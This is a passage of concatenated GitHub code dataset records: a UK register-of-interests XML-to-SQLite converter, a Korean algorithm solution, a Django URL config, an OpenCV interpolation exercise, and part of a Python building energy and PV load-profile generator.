person_id,\n \"member_id\": member_id or \"\",\n \"record_id\": \"{date}-{category_id}-{person_id}-{record}\".format(\n date=date,\n category_id=category_id,\n person_id=person_id.split(\"/\")[\n -1\n ],\n record=record,\n ),\n \"sort_order\": sort_order,\n }\n insert_or_replace(db, \"items\", item)\n\n\nif __name__ == \"__main__\":\n import sys\n\n dbfile = sys.argv[-1]\n assert dbfile.endswith(\".db\")\n init_db(dbfile)\n db = sqlite3.connect(dbfile)\n for arg in sys.argv:\n if arg.endswith(\".xml\"):\n parse_and_load(arg, db)\n print(arg)\n create_and_populate_fts(db)\n db.close()\n","repo_name":"simonw/register-of-members-interests-datasette","sub_path":"convert_xml_to_sqlite.py","file_name":"convert_xml_to_sqlite.py","file_ext":"py","file_size_in_byte":5972,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"40"} +{"seq_id":"11058900360","text":"import sys\nsys.stdin = open('sample_input.txt')\n\nt = int(input())\n\nfor idx in range(1, t+1):\n print('#{}'.format(idx), end=' ')\n\n # 다섯개의 단어들 받아오기\n words = []\n for _ in range(5):\n words.append(list(input()))\n\n # 세로로 읽기\n for i in range(15):\n for j in range(5):\n # try except을 이용해서 인덱스 에러 안나도록 해줌.\n try:\n print(words[j][i], end='')\n except:\n continue\n\n # 다음 테스트 케이스를 위한 print\n print()\n\n # words_r = list(map(lambda x: ''.join(list(x)), zip(*words)))","repo_name":"wizdom-js/algorithm","sub_path":"SWEA/5356_의석이의 세로로 말해요/5356_의석이의 세로로 말해요.py","file_name":"5356_의석이의 세로로 말해요.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"26470133478","text":"from django.urls import path \nfrom . import views\n\nurlpatterns = [\n\tpath('index.html', views.home, name='home'),\n\tpath('map/', views.map, name='map'),\n\tpath('three-column.html', views.domain, name='domain'),\n\tpath('contact.html', views.contact, name='contact'),\n\tpath('contact_submit.html', views.contact_submit, name='contact_submit'),\n\tpath('form', views.form, name='form'),\n\tpath('list.html', views.list, name='list'),\n]\n","repo_name":"mlh-hack-status-200/17-kuch-bhi","sub_path":"mrs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"37680907600","text":"from __future__ import division\nimport cv2\nimport numpy as np\nimport math\n\n\n\n##最邻近插值\ndef nn_interpolate(image,scale_factor):\n (rows,cols,channels) = image.shape\n scaled_height = rows * scale_factor\n scaled_width = cols * scale_factor\n\n row_ratio = rows / scaled_height\n col_ratio = cols / scaled_width\n\n row_position = np.floor(np.arange(scaled_height) * row_ratio).astype(int)\n col_position = np.floor(np.arange(scaled_width) * col_ratio).astype(int)\n\n scaled_image = np.zeros((scaled_height, scaled_width,channels),np.uint8)\n\n for i in range(scaled_height):\n for j in range(scaled_width):\n scaled_image[i,j] = image[row_position[i],col_position[j]]\n return scaled_image\n\n#双线性插值\ndef bilinear_interpolate(image,scaled_factor):\n '''\n\n '''\n return image\n\n#三次插值\ndef Bicubic_interpolate(image,scaled_factor):\n return image\n\ndef main():\n image = cv2.imread('cameraman.jpg')\n bil = bilinear_interpolate(image, 2)\n nn = nn_interpolate(image, 2)\n bic = Bicubic_interpolate(image, 2)\n\n\n cv2.imshow('o', image)\n cv2.imshow('nn', nn)\n cv2.imshow('bil', bil)\n cv2.imshow('bic', bic)\n cv2.waitKey(0)\n","repo_name":"zhangqizky/LearnOpenCV_Chinese","sub_path":"CustomInterpolation/custom_interpolation.py","file_name":"custom_interpolation.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"12646503239","text":"#!/usr/bin/python3\n\"\"\"\nmain program for generating building profiles\nAuthors: Andrej Campa, Denis Sodin\n\nexample:\nimport profilegenerator2\nuse_case = profilegenerator2.profilgenerator2()\nuse_case.calculation(house_type)\nprint(use_case.tiltPV)\n\n\"\"\"\n\n# for building part\nimport sys\nimport os\nimport random\nimport json\nimport requests\nimport numpy as np\nimport pandas as pd\n#import importlib\n\nsys.path.append('./configs')\nimport houses_matrycs\n\nsys.path.append('./alpg')\nimport profilegentools\nimport writer\n\nfrom building_model import *\n\n#import neighbourhood\nimport houses_matrycs\n\nfolder = 'output'\n\ncfgOutputDir = 'output'\ncfgFile = 'houses_matrycs'\n\n\nclass profilgenerator2():\n \"\"\"\n alpg library modified to class\n \"\"\"\n\n def __init__(self,\n month=1, # month of the year 1-January\n latitude=45.0,\n longitude=14.0,\n timezone='Europe/Ljubljana',\n PV_nominal_power=5000,\n tiltPV=35,\n azimuthPV=0,\n window_area=20.0,\n walls_area=500.0,\n floor_area=180.0,\n volume_building=414,\n U_walls=0.2,\n U_windows=1.1,\n ach_vent=0.35,\n ventilation_efficiency=0.6,\n thermal_capacitance=165000,\n t_set=22.0,\n south_window_area=10,\n south_window_azimuth = 0,\n windows_tilt = 90,\n background_consumption=1000,\n peak_consumption = 5000,\n office_start_t = 9 * 60, # minutees\n office_end_t = 17 * 60,\n weekend=False, # startday True-weekend False-working day\n bat_capacity = 10000, # Wh\n bat_power = 3000, # W charging discarging power\n bat_efficiency = 0.9, # return efficiency of the battery\n heating_type=1, # 1-HVAC, 2-el. heater, 3-other, not used for estimating electric consumption\n cooling_type = 1, # 1- air-conditioner, 2-other not used for estimating electric consumption\n EV_capacity = 30000, # [Wh]\n EV_power = 3000, # [W] maks charging power\n hasEV = True,\n commute_distance_EV = 25,\n heating_el_P = 3000,\n cooling_el_P = 2000,\n ):\n self.month = month\n self.latitude = latitude\n self.longitude = longitude\n self.timezone = timezone\n self.PV_nominal_power = PV_nominal_power\n self.tiltPV = tiltPV\n self.azimuthPV = azimuthPV\n self.window_area = window_area # [m2] Window Area\n self.walls_area = walls_area\n self.floor_area = floor_area\n self.volume_building = volume_building\n self.U_walls = U_walls\n self.U_windows = U_windows\n self.ach_vent = ach_vent\n self.ventilation_efficiency = ventilation_efficiency\n self.thermal_capacitance = thermal_capacitance\n self.t_set = t_set\n self.solar_gains = 0.0\n self.internal_gains = 0.0\n self.heat_demand = 0.0\n self.angle_incidence = 0.0\n self.transmittance = 1.0\n self.south_window_area = south_window_area\n self.south_window_azimuth = south_window_azimuth\n self.windows_tilt = windows_tilt\n self.background_consumption = background_consumption\n self.peak_consumption = peak_consumption\n self.office_start_t = office_start_t # minutees\n self.office_end_t = office_end_t\n self.weekend = weekend # startday 1-weekend 2-working day\n self.bat_capacity = bat_capacity # Wh\n self.bat_power = bat_power # W charging discarging power\n self.bat_efficiency = bat_efficiency # return efficiency of the battery\n self.heating_type = heating_type # 1-HVAC, 2-el. heater, 3-other, not used for estimating electric consumption\n self.cooling_type = cooling_type # 1- air-conditioner, 2-other not used for estimating electric consumption\n self.EV_capacity = EV_capacity # [Wh]\n self.EV_power = EV_power # [W] maks charging power\n self.df_new = None\n self.PVpower = np.zeros(96)\n self.PVdata = np.zeros(96)\n self.EV_startTimes = []\n self.EV_endTimes = []\n self.charging_profile = []\n self.list_of_times_HVAC = []\n self.list_of_energies_HVAC = []\n self.house_type = \"Single worker\"\n self.com_build_on = \"private house\"\n self.bus_profile = np.zeros(96)\n self.consumption_total_resampled = np.zeros(96)\n self.hasEV = hasEV\n self.commute_distance_EV = commute_distance_EV\n self.df_el = []\n self.heating_el_P = heating_el_P\n self.cooling_el_P = cooling_el_P\n self.energies_heating = 0\n self.energies_cooling = 0\n\n # we use default COP (coefficient of performance) curve from here as reference\n # https://tisto.eu/images/thumbnails/1376/1126/detailed/5/toplotna-crpalka-zrak-voda-18-6-kw-monoblok-400-v-25-c-r407c-5025-tisto.png\n # this curve can be shifted up and down, we use the 55 degrees curve, air-to-water heat pump!\n def HVAC_COP(self, temp, shift_COP_number=0.0):\n \"\"\"\n only for heating!\n :param temp: outside air temperature, since this is air watter\n :param shift_COP_number: shift COP number to test more or less efficient system using same shape\n :return: return single value COP at specific temperature\n \"\"\"\n\n # fitted curve to third order polynom\n Heat_COP = shift_COP_number + 2.6288 + 5.458e-2 * temp - 2.705e-4 * temp ** 2 + 3.795e-5 * temp ** 3\n # only electric heater is on!\n if Heat_COP < 1.0:\n Heat_COP = 1.0\n return Heat_COP\n\n\n # COP for cooling\n # https://www.researchgate.net/figure/Thermal-performance-curve-of-the-normal-air-conditioner_fig2_266975980\n def airconditioner_COP(self, Tamb, Temp, shift_COP_number=0.0):\n \"\"\"\n only for cooling!\n :param Tamb: Ambient temperature\n :param Temp: Outdoor temperature\n :param shift_COP_number: shift COP number to test more or less efficient system using same shape\n :return: return single value COP at specific temperature\n \"\"\"\n if Tamb < Temp:\n Cool_COP = shift_COP_number + 5.7915 - 0.2811 * (Temp - Tamb)\n else:\n Cool_COP = shift_COP_number + 5.7915 - 0.2811 * (Temp - Tamb)\n if Cool_COP < 1:\n Cool_COP = 1.0\n return Cool_COP\n\n def HVAC_el(self):\n \"\"\"\n Calculates electric demand for heating/cooling\n :return: Electric profile\n :rtype: float, length 24*4 15min sampling\n\n Modifies Energies cooling, energies heating\n self.energies_heating\n self.energies_cooling\n \"\"\"\n self.HVAC_kWh = 0\n self.AC_kWh = 0\n HVAC_el_power_profile = np.zeros(96) # electrical profile of HVAC randomize start!\n for en in self.list_of_energies_HVAC:\n if en > 0:\n self.HVAC_kWh += en\n else:\n self.AC_kWh -= en\n ###########\n # Heating #\n ###########\n # seed for randomizing of turning on and off the HVAC\n seed = random.randrange(96)\n if self.heating_type == 1:\n HVAC_energies = []\n # calculates all energies that HVAC is able to produce at certain time in the day 15min timestamp (hence /4.0)\n for x in range(96):\n HVAC_energies.append(self.HVAC_COP(self.OutsideTemp[x]) * self.heating_el_P / 4.0)\n # calculating HVAC energies\n self.energies_heating = 0\n for i in range(len(self.list_of_times_HVAC)):\n HVAC_profile_temp = []\n t_start = self.list_of_times_HVAC[i - 1]\n t_end = self.list_of_times_HVAC[i]\n if len(self.list_of_times_HVAC) == 1:\n t_end = 96\n t_start = 1\n delta = t_end - t_start\n if delta < 0:\n delta += 96\n # ordered energies for each timestamp, first calculate default value for time and after that optimal\n energies_timestamp = np.roll(HVAC_energies, -t_start)[:delta]\n # not optimized\n list_en = self.list_of_energies_HVAC[i]\n if list_en < 0:\n continue\n for en in energies_timestamp:\n if en <= 0:\n break\n elif en < list_en:\n list_en -= en\n self.energies_heating += self.heating_el_P / 4.0\n HVAC_profile_temp.append(self.heating_el_P)\n else: # only some leftovers\n self.energies_heating += (list_en / en) * self.heating_el_P / 4.0\n HVAC_profile_temp.append(self.heating_el_P*(list_en / en))\n break\n # creating profile\n delta_time_HVAC = len(HVAC_profile_temp)\n t_start = t_start + seed\n if (t_start>95):\n t_start = t_start-96\n t_hvac = t_start\n for i2 in range(delta_time_HVAC):\n if t_hvac+i2>95:\n t_hvac=t_hvac-96\n HVAC_el_power_profile[t_hvac+i2] = HVAC_el_power_profile[t_hvac+i2]+HVAC_profile_temp[i2]\n\n elif self.heating_type == 2:\n self.energies_heating = self.HVAC_kWh\n #creating profiles, random start\n for i in range(len(self.list_of_times_HVAC)):\n temp_eng=self.list_of_energies_HVAC[i]\n t_start = self.list_of_times_HVAC[i - 1]\n t_end = self.list_of_times_HVAC[i]\n if len(self.list_of_times_HVAC) == 1:\n t_end = 96\n t_start = 1\n delta = t_end - t_start\n if delta < 0:\n delta += 96\n delta_time_HVAC = int(temp_eng*4.0/self.heating_el_P)\n t_start = t_start + seed\n if (t_start > 95):\n t_start = t_start - 96\n t_hvac = t_start\n for i2 in range(delta_time_HVAC):\n if t_hvac + i2 > 95:\n t_hvac = t_hvac - 96\n HVAC_el_power_profile[t_hvac + i2] = HVAC_el_power_profile[t_hvac + i2] + self.heating_el_P\n # add reminder\n if t_hvac+delta_time_HVAC > 95:\n t_hvac = t_hvac - 96\n HVAC_el_power_profile[t_hvac+delta_time_HVAC] = HVAC_el_power_profile[t_hvac+delta_time_HVAC] + (temp_eng*4.0)%self.heating_el_P\n else:\n self.energies_heating = 0\n\n ###########\n # Cooling #\n ###########\n if self.cooling_type == 1:\n AC_energies = []\n for x in range(96):\n AC_energies.append(\n -self.airconditioner_COP(self.t_set, self.OutsideTemp[x]) * self.cooling_el_P / 4.0)\n # calculating AC energies\n self.energies_cooling = 0\n for i in range(len(self.list_of_times_HVAC)):\n HVAC_profile_temp = []\n t_start = self.list_of_times_HVAC[i - 1]\n t_end = self.list_of_times_HVAC[i]\n if len(self.list_of_times_HVAC) == 1:\n t_end = 96\n t_start = 1\n delta = t_end - t_start\n if delta < 0:\n delta += 96\n # ordered energies for each timestamp, first calculate default value for time and after that optimal\n energies_timestamp = np.roll(AC_energies, -t_start)[:delta]\n # not optimized\n list_en = self.list_of_energies_HVAC[i]\n if list_en > 0:\n continue\n for en in energies_timestamp:\n if en >= 0:\n break\n elif en > list_en:\n list_en -= en\n self.energies_cooling += self.cooling_el_P / 4.0\n HVAC_profile_temp.append(self.cooling_el_P)\n else: # only some leftovers\n self.energies_cooling += (list_en / en) * self.cooling_el_P / 4.0\n HVAC_profile_temp.append(self.cooling_el_P * (list_en / en))\n break\n # creating profile\n delta_time_HVAC = len(HVAC_profile_temp)\n t_start = t_start + seed\n if (t_start > 95):\n t_start = t_start - 96\n t_hvac = t_start\n for i2 in range(delta_time_HVAC):\n if t_hvac + i2 > 95:\n t_hvac = t_hvac - 96\n HVAC_el_power_profile[t_hvac + i2] = HVAC_el_power_profile[t_hvac + i2] + HVAC_profile_temp[i2]\n else:\n self.energies_cooling = 0\n return HVAC_el_power_profile\n\n # business building\n # need to generate statistically consumption\n def business_building_profile(self, background_power, peak_power, office_hours=[9 * 60, 17 * 60], weekend=False):\n \"\"\"\n :param background_power: consumption power of all appliances in the building that can not be turned on or off [W]\n :param peak_power: peak consumption power when all employees are presented in their workplace [W]\n :param office hours: typical starting and ending hour of the workday in minutes - array [start,stop]\n :param weekend: only background power is considered - bool\n :return: 15 min series of the building metered power [kW]\n \"\"\"\n consumption = np.ones(24 * 4, dtype=np.float64) * background_power\n if not weekend:\n for t_min in range(24 * 4): # in this case hour is actualy 15 min interval\n consumption[t_min] = consumption[t_min] \\\n + (peak_power - background_power) * 1.0 / (1.0 + np.exp(-t_min + office_hours[0] / 15)) \\\n - (peak_power - background_power) * 1.0 / (1.0 + np.exp(-t_min + office_hours[1] / 15))\n return consumption\n\n\n ##################\n #### PV MODEL ####\n ##################\n def getPVprofile(self, m=6, latitude=46.056946, longitude=14.505751, surface_tilt=35, surface_azimuth=0, usehorizon=0,\n nglobal=1, outputformat='json'):\n \"\"\"\n :param m: month of a year [1,12]\n :param latitude: degrees, decimal\n :param longitude: degrees, decimal\n :param surface_tilt: PV tilt/inclination degrees\n :param surface_azimuth: The azimuth, or orientation, is the angle of the PV modules relative to the direction due\n South. - 90° is East, 0° is South and 90° is West.\n :param usehorizon: if usehorizon=0 means getting data without taking into account the horizon, if usehorizon=1\n means getting data with taking into account the horizon.\n :param nglobal: Output the global and diffuse in-plane irradiances. Value of 1 for \"yes\". All other values\n (or no value) mean \"no\". Default=1.\n :param outputformat: string with the format of data, default='json'\n :return: dataframe with temperatures and radiations daily profiles typical for particular month\n \"\"\"\n\n URL_BASE = 'https://re.jrc.ec.europa.eu/api/DRcalc?'\n prova = 'lat=' + str(latitude) + '&lon=' + str(longitude) + '&month=' + str(m) + '&angle=' + str(\n surface_tilt) + '&aspect=' + str(surface_azimuth) + '&usehorizon=' + str(usehorizon) + '&global=' + str(\n nglobal) + '&localtime=0' + '&showtemperatures=1' + '&outputformat=' + str(outputformat)\n URL = URL_BASE + prova\n jsn = requests.get(URL)\n pvgis_json = json.loads(jsn.text)\n data = pd.json_normalize(pvgis_json['outputs']['daily_profile'])\n test = data.iloc[[0]]\n test.at[0, 'time'] = '23:59'\n data = pd.concat([data, test])\n data = data.set_index('time')\n data.index = pd.to_datetime(data.index)\n data = data.fillna(0)\n data = data.resample('15min').asfreq()\n data = data.interpolate()\n data = data.fillna(method='ffill')\n return data\n\n def solar_power_taking_account_temperature(self,temperature, irradiance, Wp=5000, system_losses=0.2, NOCT=45,\n coef_t=-0.47 / 100, stc_irradiance=1000):\n \"\"\"\n Wp - peak nominal power of PV\n :param t_amb: Series of the ambient temperature.\n :param irradiance: Series of the POA GHI\n :param system_losses: Value of system losses, default= 0.15\n :param NOCT: Nominal Operating Cell Temperature, default=44\n :param coef_t: Coefficient temperature of the model, default=-0.38/100\n :param stc_irradiance: Standard test condition irradiance, default=1000\n :return: Series with the output power of the PV system [kW]\n \"\"\"\n t_cell = temperature + (irradiance * 0.00125) * (NOCT - 20)\n # t_cell=t_amb+(irradiance/800)*(NOCT-20)\n P = (Wp / stc_irradiance) * irradiance * (1 - system_losses) * (1 + (t_cell - 25) * (coef_t)) # *0.001\n P = P.fillna(0)\n return P\n \n def EVprofile(self):\n EV_startTimes=[]\n EV_endTimes=[]\n if self.weekend:\n offset = 0* 24 * 60\n else:\n offset = 1 * 24 * 60\n with open(r'output/ElectricVehicle_Starttimes.txt', \"r\") as datafile:\n file = (datafile.read().split()) # read file in 1 list\n for startTime in file:\n EV_string = startTime.split(\":\")[1] # get all the ending times as a string of starting times\n EV_list = EV_string.split(\",\") # make a list of strings; each string its own starting time\n EV_startTimes = [(int(x) - offset) for x in EV_list]\n\n with open(r'output/ElectricVehicle_Endtimes.txt', \"r\") as datafile:\n file = (datafile.read().split()) # read file in 1 list\n for endTime in file:\n EV_string = endTime.split(\":\")[1]\n EV_list = EV_string.split(\",\")\n EV_endTimes = [int(x) - offset for x in EV_list]\n\n with open(r'output/ElectricVehicle_RequiredCharge.txt', \"r\") as datafile:\n file = (datafile.read().split()) # read file in 1 list\n for charge in file:\n charges = charge.split(\":\")[1]\n charge = float(charges.split(\",\")[0]) # required charge\n\n if len(EV_startTimes) == 0:\n charging_profile = [0.0] * 96\n else:\n for i in range(len(EV_startTimes)):\n charge_time = round(charge / self.EV_power * 60.0 / 15.0)\n starting_charging_moment = random.randint(EV_startTimes[i], EV_endTimes[i] - charge_time)\n if starting_charging_moment >= 1440:\n starting_charging_moment -= 1440\n starting_charging_moment = round(starting_charging_moment / 15)\n charging_profile = [0.0] * 96\n count = 0\n while charge_time > 0:\n if starting_charging_moment + count >= 96: # if you charge over midnight you need to subtract 1 day\n starting_charging_moment -= 96\n charging_profile[starting_charging_moment + count] = self.EV_power\n count += 1\n charge_time -= 1\n return EV_startTimes, EV_endTimes, charging_profile\n\n def resample(self):\n if self.weekend:\n startDay = 0\n else:\n startDay = 1\n offset = startDay * 24 * 60 # how far off you start\n #endTime = (startDay + 1) * 24 * 60 # calculate the last minute of the interval\n interval = 15 # define the interval of resampled values in minutes\n\n washMachine = \"on\" # decide whether to account for washing machines and dishwashers or not, \"on\" includes them anything else ignores them\n dishWash = \"on\"\n\n washMachineProfile = [66.229735, 119.35574, 162.44595, 154.744551, 177.089979, 150.90621, 170.08704, 134.23536,\n 331.837935, 2013.922272, 2032.267584, 2004.263808, 2023.32672, 2041.49376, 2012.8128,\n 2040.140352, 1998.124032, 2023.459776, 1995.309312, 2028.096576, 1996.161024, 552.525687,\n 147.718924, 137.541888, 155.996288, 130.246299, 168.173568, 106.77933, 94.445568, 130.56572,\n 121.9515, 161.905679, 176.990625, 146.33332, 173.06086, 145.07046, 188.764668, 88.4058,\n 117.010432, 173.787341, 135.315969, 164.55528, 150.382568, 151.517898, 154.275128, 142.072704,\n 171.58086, 99.13293, 94.5507, 106.020684, 194.79336, 239.327564, 152.75808, 218.58576,\n 207.109793, 169.5456, 215.87571, 186.858018, 199.81808, 108.676568, 99.930348, 151.759998,\n 286.652289, 292.921008, 300.5829, 296.20425, 195.74251, 100.34136, 312.36975, 287.90921,\n 85.442292, 44.8647]\n dishWasherProfile = [2.343792, 0.705584, 0.078676, 0.078744, 0.078948, 0.079152, 0.079016, 0.078812, 0.941108,\n 10.449, 4.523148, 34.157214, 155.116416, 158.38641, 158.790988, 158.318433, 158.654276,\n 131.583375, 13.91745, 4.489968, 1693.082112, 3137.819256, 3107.713851, 3120.197256,\n 3123.464652, 3114.653256, 3121.27497, 3116.305863, 3106.801566, 3117.703743, 3118.851648,\n 3110.016195, 3104.806122, 1148.154728, 166.342624, 161.205252, 160.049824, 158.772588,\n 158.208076, 157.926096, 157.01364, 112.30272, 11.65632, 17.569056, 4.947208, 4.724016,\n 143.12025, 161.129536, 160.671915, 23.764224, 136.853808, 159.11184, 159.464682, 159.04302,\n 36.68544, 9.767628, 4.902772, 2239.315008, 3116.846106, 3111.034014, 3118.112712, 3111.809778,\n 3113.442189, 3110.529708, 3104.676432, 3101.093424, 3121.076178, 1221.232208, 159.964185,\n 2663.07828, 272.524675, 7.76832, 3.258112, 3.299408, 3.295136, 3.256704, 3.258112, 3.262336,\n 2224.648744, 367.142872, 4.711025]\n\n startDish = []\n startWash = []\n\n # extract dishWasher start and end time of operation and generate random start point\n with open(r'output/Dishwasher_Starttimes.txt', \"r\") as datafile:\n file = (datafile.read().split()) # read file in 1 list of all dishwashers\n for dishWasher in file:\n dishWash_num = dishWasher.split(\":\")[0] # get the number of house the dishwasher belongs to\n dishWash_string = dishWasher.split(\":\")[\n 1] # get all the starting times of this dishwasher as a string of starting times\n dishWash_list = dishWash_string.split(\",\") # make a list of strings; each string its own starting time\n dishWashStarts = [int(start) for start in dishWash_list] # convert strings to integers\n globals()['dishWasher{}'.format(dishWash_num) + 'start'] = dishWashStarts\n for t in dishWashStarts:\n startDish.append((t) / 60 / 24)\n\n with open(r'output/Dishwasher_Endtimes.txt', \"r\") as datafile:\n file = (datafile.read().split()) # read file in 1 list\n for dishWasher in file:\n dishWash_num = dishWasher.split(\":\")[0] # get the number of house the dishwasher belongs to\n dishWash_string = dishWasher.split(\":\")[1] # get all the ending times as a string of ending times\n dishWash_list = dishWash_string.split(\",\") # make a list of strings; each string its own ending time\n dishWashEnds = [int(end) - len(dishWasherProfile) for end in\n dishWash_list] # subtract len(dishWasherProfile) , because this is the last moment you can start dishwasher\n globals()['dishWasher{}'.format(dishWash_num) + 'end'] = dishWashEnds\n globals()['dishWasher{}'.format(dishWash_num)] = []\n for i in range(len(globals()['dishWasher{}'.format(dishWash_num) + 'end'])):\n globals()['dishWasher{}'.format(dishWash_num)].append(\n random.randint(globals()['dishWasher{}'.format(dishWash_num) + 'start'][i],\n globals()['dishWasher{}'.format(dishWash_num) + 'end'][\n i])) # make a starting time of each dishwasher cycle as random start time in cylce interval\n\n # extract WashingMachine start and end time of operation and generate random start point\n with open(r'output/WashingMachine_Starttimes.txt', \"r\") as datafile:\n file = (datafile.read().split()) # read file in 1 list of all WashingMachine\n for WashingMachine in file:\n WashingMachine_num = WashingMachine.split(\":\")[0] # get the number of house the WashingMachine belongs to\n WashingMachine_string = WashingMachine.split(\":\")[\n 1] # get all the starting times of this WashingMachine as a string of starting times\n WashingMachine_list = WashingMachine_string.split(\n \",\") # make a list of strings; each string its own starting time\n WashingMachineStarts = [int(start) for start in WashingMachine_list] # convert strings to integers\n globals()['WashingMachine{}'.format(WashingMachine_num) + 'start'] = WashingMachineStarts\n for t in WashingMachineStarts:\n startWash.append((t) / 60 / 24)\n\n with open(r'output/WashingMachine_Endtimes.txt', \"r\") as datafile:\n file = (datafile.read().split()) # read file in 1 list\n for WashingMachine in file:\n WashingMachine_num = WashingMachine.split(\":\")[0]\n WashingMachine_string = WashingMachine.split(\":\")[1] # get all the ending times as a string of ending times\n WashingMachine_list = WashingMachine_string.split(\n \",\") # make a list of strings; each string its own ending time\n WashingMachineEnds = [int(end) - len(washMachineProfile) for end in\n WashingMachine_list] # subtract len(WashingMachineProfile) , because this is the last moment you can start washing machine\n globals()['WashingMachine{}'.format(WashingMachine_num) + 'end'] = WashingMachineEnds\n globals()['WashingMachine{}'.format(WashingMachine_num)] = []\n for i in range(len(globals()['WashingMachine{}'.format(WashingMachine_num) + 'end'])):\n globals()['WashingMachine{}'.format(WashingMachine_num)].append(\n random.randint(globals()['WashingMachine{}'.format(WashingMachine_num) + 'start'][i],\n globals()['WashingMachine{}'.format(WashingMachine_num) + 'end'][i]))\n\n df = pd.read_csv(r'output/Electricity_Profile.csv', sep=\";\",\n header=None) # read the csv file (put 'r' before the path string to address any special characters in the path, such as '\\'). Don't forget to put the file name at the end of the path + \".csv\"\n df = df.astype(float) # pretvori dataframe v float, drugače dela z integerji\n # to calculate gains from electric consumers without dishwasher and\n self.df_el = df\n header = []\n for i in range(df.shape[1]): # generiraj številko householda/userja in jo dodaj v header\n header.append(str(i))\n\n df.columns = header\n df.head()\n\n if dishWash == \"on\":\n for user in range(df.shape[1]):\n try:\n for startT in globals()['dishWasher{}'.format(user)]:\n count = 0\n for currentP in dishWasherProfile:\n if count + startT - offset >= 1440: # if the index would go over midnight shift it to the start of the day\n startT -= 1440\n df[str(user)][startT + count - offset] += currentP\n count += 1\n except:\n print('user', user, 'does not have dishWasher')\n else:\n print(\"dish washers are not included\")\n\n if washMachine == \"on\":\n for user in range(df.shape[1]):\n try:\n for startT in globals()['WashingMachine{}'.format(user)]:\n count = 0\n for currentP in washMachineProfile:\n if count + startT - offset >= 1440:\n startT -= 1440\n df[str(user)][startT + count - offset] += currentP\n count += 1\n except:\n print('user', user, 'does not have WashingMachine')\n else:\n print(\"washing machines are not included\")\n\n data_len = df.shape[0]\n num = int(data_len / interval) # number of bins in new file with average power\n\n dic = {}\n aggregated = []\n\n for j in range(df.shape[1]):\n globals()['user{}'.format(j)] = [] # make empty list for each user\n for i in range(num):\n globals()['user{}'.format(j)].append(sum(\n df[str(j)][i * interval:(i + 1) * interval]) / interval) # add average power of the specified interval\n dic[\"user\" + str(j)] = globals()['user{}'.format(j)] # make dictionary of all users\n\n for i in range(num):\n total = 0\n for j in range(df.shape[1]):\n total += globals()['user{}'.format(j)][i]\n aggregated.append(total)\n\n dic[\"agregated\"] = aggregated\n self.df_new = pd.DataFrame(dic) # create pandas data frame from dictionary\n\n if washMachine == \"on\" and dishWash == \"on\":\n file_name = 'output/Electricity_Profile_' + str(interval) + 'min_DishAndWash.csv'\n elif washMachine == \"on\":\n file_name = 'output/Electricity_Profile_' + str(interval) + 'min_Wash.csv'\n elif dishWash == \"on\":\n file_name = 'output/Electricity_Profile_' + str(interval) + 'min_Dish.csv'\n else:\n file_name = 'output/Electricity_Profile_' + str(interval) + 'min.csv'\n\n self.df_new.to_csv(file_name, index=False)\n\n def calculation_BH(self):\n \"\"\"\n Calculates for one House/Building el and heating/cooling demand\n :return: daily results: profiles for one Building House\n :rtype: dataframe\n \"\"\"\n self.HeatingDemand = np.zeros(96)\n self.HeatingDemand = []\n self.HeatingDemand_el = np.zeros(96)\n self.HeatingDemand_el = []\n self.OutsideTemp = np.zeros(96)\n self.SolarGains = np.zeros(96)\n self.charging_profile = np.zeros(96)\n self.bus_profile = np.zeros(96)\n self.PVpower = np.zeros(96)\n self.consumption_total_resampled = np.zeros(96)\n\n # remove all old outputs from file\n diro = 'output'\n for f in os.listdir(diro):\n os.remove(os.path.join(diro, f))\n\n # get typical irradiance and temperatures for PV and building model\n self.PVdata = self.getPVprofile(m=self.month, latitude=self.latitude, longitude=self.longitude,\n surface_tilt=self.tiltPV, surface_azimuth=self.azimuthPV)\n temperature = self.PVdata[\"T2m\"]\n\n ################################\n #### Load profile generator ####\n ################################\n if self.com_build_on == \"private house\":\n config = houses_matrycs.House_types()\n if self.weekend:\n startDay = 0\n else:\n startDay = 1\n config.startDay = startDay\n config.calculation(self.house_type)\n\n # Create empty files\n writer.createEmptyFiles()\n\n hnum = 0\n house = config.house\n house.hasEV = self.hasEV\n\n house.Devices['ElectricalVehicle'].BufferCapacity = self.EV_capacity # .capacityEV\n house.Devices['ElectricalVehicle'].Consumption = self.EV_power # powerEV\n house.Persons[0].setDistanceToWork(round(max(0, random.gauss(self.commute_distance_EV, self.commute_distance_EV/4))))\n house.simulate()\n\n # Warning: On my PC the random number is still the same at this point, but after calling scaleProfile() it isn't!!!\n house.scaleProfile()\n house.reactivePowerProfile()\n house.thermalGainProfile()\n\n writer.writeHousehold(house, hnum)\n\n globals()['PersonGain{}'.format(hnum + 1)] = house.HeatGain[\"PersonGain\"]\n globals()['Consumption{}'.format(hnum + 1)] = house.Consumption[\"Total\"]\n\n # building\n # Empty Lists for Storing Data to Plot\n ElectricityOut = []\n self.OutsideTemp = []\n self.SolarGains = []\n\n # 1440 everyminute\n gain_per_person = globals()['PersonGain{}'.format(hnum + 1)] # W per person\n\n # mean of power is more correct to interpolation\n gain_per_person = np.mean(np.reshape(gain_per_person, (-1,15)),axis=1)\n\n # electrical appliances contribute 40% heat without dishwasher and washing machine most hot water is thrown away!\n gain_consumption = globals()['Consumption{}'.format(hnum + 1)]\n gain_per_person += 0.4 * np.mean(np.reshape(gain_consumption, (-1,15)),axis=1)\n self.resample()\n\n self.consumption_total_resampled = self.df_new[\"agregated\"]\n ###############################\n # Business Building el. model #\n ###############################\n elif self.com_build_on == \"commercial building\":\n self.bus_profile = self.business_building_profile(self.background_consumption, self.peak_consumption,\n office_hours=[self.office_start_t, self.office_end_t],\n weekend=self.weekend)\n\n ###########################################\n ##### Building model - heating cooling ####\n ###########################################\n # Initialise an instance of the building\n house = Building(window_area=self.window_area,\n walls_area=self.walls_area,\n floor_area=self.floor_area,\n volume_building=self.volume_building,\n U_walls=self.U_walls,\n U_windows=self.U_windows,\n ach_vent=self.ach_vent,\n ventilation_efficiency=self.ventilation_efficiency,\n thermal_capacitance_per_floor_area=self.thermal_capacitance,\n t_set=self.t_set,\n latitude=self.latitude,\n longitude=self.longitude)\n\n # get sout window irradiance, that is used in the daily 